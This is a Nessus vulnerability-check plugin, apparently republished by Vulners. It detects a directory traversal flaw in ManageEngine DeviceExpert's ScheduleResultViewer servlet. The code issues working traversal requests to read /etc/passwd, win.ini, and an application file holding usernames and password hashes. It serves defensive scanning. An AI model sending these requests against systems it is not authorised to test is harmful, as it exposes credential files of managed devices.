Lucene search
K

ManageEngine DeviceExpert ScheduleResultViewer Remote Directory Traversal

🗓️ 22 Mar 2012 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 16 Views

ManageEngine DeviceExpert ScheduleResultViewer Remote Directory Traversa

Refs
Code
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(58428);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(52559);
  script_xref(name:"EDB-ID", value:"18626");

  script_name(english:"ManageEngine DeviceExpert ScheduleResultViewer Remote Directory Traversal");
  script_summary(english:"Checks for directory traversal in DeviceExpert");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote host is running a web application that is vulnerable to a
directory traversal attack."
  );
  script_set_attribute(
    attribute:"description",
    value:
"DeviceExpert is susceptible to a directory traversal attack on the
'FileName' parameter of 'ScheduleResultView' servlet
(scheduleresult.de).

It is possible for an unauthenticated, remote attacker to invoke the
ScheduleResultViewer to disclose every file on the system, including
database tables containing usernames and passwords of managed
devices."
  );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2012/Mar/86");
  script_set_attribute(attribute:"solution", value:"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/03/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/03/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/03/22");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:manageengine:device_expert");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "manageengine_deviceexpert_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 6060);
  script_require_keys("www/manageengine_deviceexpert");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");

port = get_http_port(default:6060);

install = get_install_from_kb(appname:'manageengine_deviceexpert', port:port, exit_on_fail:TRUE);
dir = install['dir'];

os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('/windows/win.ini', '/winnt/win.ini');
  else files = make_list('/etc/passwd');
}
else files = make_list('/etc/passwd', '/windows/win.ini', '/winnt/win.ini');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
# look for section tags in win.ini
file_pats['/winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

vuln_script = '/scheduleresult.de';
vuln_param = 'FileName';

traversal = mult_str(str:"../", nb:12) + '..';

foreach file (files)
{
  exploit_url = dir + vuln_script + '/?' + vuln_param + '=' + traversal + file;
  res = http_send_recv3(method:"GET", item:exploit_url, port:port, exit_on_fail:TRUE);
  pat = file_pats[file];
  if (res[2] =~ pat)
  {
    if (report_verbosity > 0)
    {
      report = '\n' + 'Nessus was able to exploit the issue and retrieve the contents of';
      report += '\n' + file + ' with the following request:' + '\n\n';
      report += build_url(qs:exploit_url, port:port) + '\n';
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}

# file that comes with product, used as a backup in case
# files above using directory traversal aren't found/verified
# it contains the usernames and password hashes for the application
file = "conf\Authentication\auth-conf.xml";
exploit_url = dir + vuln_script + '/?' + vuln_param + '=' + file;

res = http_send_recv3(method:"GET", item:exploit_url, port:port, exit_on_fail:TRUE);

if (
  "<auth-conf>" >< res[2] &&
  "<AaaPasswordRuleList>" >< res[2]
)
{
  if (report_verbosity > 0)
  {
    report =  '\nNessus was able to exploit the issue and retrieve the contents of';
    report += '\n"conf\\Authentication\\auth-conf.xml" (containing the usernames and';
    report += '\nhashed passwords for the application) with the following request:\n\n';
    report += build_url(qs:exploit_url, port:port) + '\n';
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else exit(0, 'The ManageEngine DeviceExpert install at ' + build_url(qs:dir, port:port) + ' is not affected.');

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation